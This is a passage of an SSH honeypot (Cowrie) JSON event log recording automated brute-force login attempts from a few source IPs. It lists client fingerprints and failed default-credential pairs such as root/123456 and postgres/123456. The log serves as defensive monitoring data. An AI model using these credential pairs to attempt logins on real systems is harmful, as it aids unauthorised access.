0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:17:59.902708Z","src_ip":"45.156.87.253","session":"97f110b895ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin2","password":"1234","message":"login attempt [admin2/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:00.193107Z","src_ip":"45.156.87.253","session":"97f110b895ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:01.276369Z","src_ip":"45.156.87.253","session":"97f110b895ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57108,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b8b3de644fe","protocol":"ssh","message":"New connection: 45.156.87.253:57108 (10.17.0.5:22) [session: 1b8b3de644fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:03.272127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:03.276268Z","src_ip":"45.156.87.253","session":"1b8b3de644fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:03.357217Z","src_ip":"45.156.87.253","session":"1b8b3de644fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:03.598622Z","src_ip":"45.156.87.253","session":"1b8b3de644fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:04.682459Z","src_ip":"45.156.87.253","session":"1b8b3de644fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57118,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e4a197360a","protocol":"ssh","message":"New connection: 45.156.87.253:57118 (10.17.0.5:22) [session: a1e4a197360a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:06.610165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:06.615853Z","src_ip":"45.156.87.253","session":"a1e4a197360a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:06.696419Z","src_ip":"45.156.87.253","session":"a1e4a197360a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:06.937498Z","src_ip":"45.156.87.253","session":"a1e4a197360a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:08.119838Z","src_ip":"45.156.87.253","session":"a1e4a197360a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":59944,"dst_ip":"159.203.135.109","dst_port":22,"session":"21cc85605572","protocol":"ssh","message":"New connection: 162.144.58.21:59944 (159.203.135.109:22) [session: 21cc85605572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:08.197617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:08.201032Z","src_ip":"162.144.58.21","session":"21cc85605572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:08.289369Z","src_ip":"162.144.58.21","session":"21cc85605572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pixel","password":"pixel123","message":"login attempt [pixel/pixel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:08.577403Z","src_ip":"162.144.58.21","session":"21cc85605572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58372,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd1aad859c73","protocol":"ssh","message":"New connection: 45.156.87.253:58372 (10.17.0.5:22) [session: dd1aad859c73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:10.005734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:10.012583Z","src_ip":"45.156.87.253","session":"dd1aad859c73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:10.094132Z","src_ip":"45.156.87.253","session":"dd1aad859c73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:10.338872Z","src_ip":"45.156.87.253","session":"dd1aad859c73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:11.423954Z","src_ip":"45.156.87.253","session":"dd1aad859c73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58386,"dst_ip":"10.17.0.5","dst_port":22,"session":"aebceb14d858","protocol":"ssh","message":"New connection: 45.156.87.253:58386 (10.17.0.5:22) [session: aebceb14d858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:13.535672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:13.538341Z","src_ip":"45.156.87.253","session":"aebceb14d858","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:13.618485Z","src_ip":"45.156.87.253","session":"aebceb14d858","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:13.860533Z","src_ip":"45.156.87.253","session":"aebceb14d858","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:14.943526Z","src_ip":"45.156.87.253","session":"aebceb14d858","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":58402,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9538777e6bd","protocol":"ssh","message":"New connection: 45.156.87.253:58402 (10.17.0.5:22) [session: b9538777e6bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:16.853457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:16.857077Z","src_ip":"45.156.87.253","session":"b9538777e6bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:16.942604Z","src_ip":"45.156.87.253","session":"b9538777e6bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aaaa1111","message":"login attempt [root/Aaaa1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:17.185563Z","src_ip":"45.156.87.253","session":"b9538777e6bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:18.268960Z","src_ip":"45.156.87.253","session":"b9538777e6bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33646,"dst_ip":"10.17.0.5","dst_port":22,"session":"77241b9e45f8","protocol":"ssh","message":"New connection: 45.156.87.253:33646 (10.17.0.5:22) [session: 77241b9e45f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:20.175782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:20.179429Z","src_ip":"45.156.87.253","session":"77241b9e45f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:20.259733Z","src_ip":"45.156.87.253","session":"77241b9e45f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crafty","password":"12345678","message":"login attempt [crafty/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:20.694795Z","src_ip":"45.156.87.253","session":"77241b9e45f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:21.780613Z","src_ip":"45.156.87.253","session":"77241b9e45f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33658,"dst_ip":"10.17.0.5","dst_port":22,"session":"9876e8508a28","protocol":"ssh","message":"New connection: 45.156.87.253:33658 (10.17.0.5:22) [session: 9876e8508a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:23.632187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:23.635620Z","src_ip":"45.156.87.253","session":"9876e8508a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:23.717750Z","src_ip":"45.156.87.253","session":"9876e8508a28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:23.962569Z","src_ip":"45.156.87.253","session":"9876e8508a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:25.045416Z","src_ip":"45.156.87.253","session":"9876e8508a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":33684,"dst_ip":"10.17.0.5","dst_port":22,"session":"0854afcadc50","protocol":"ssh","message":"New connection: 45.156.87.253:33684 (10.17.0.5:22) [session: 0854afcadc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:27.062932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:18:27.066046Z","src_ip":"45.156.87.253","session":"0854afcadc50","protocol":"ssh"}
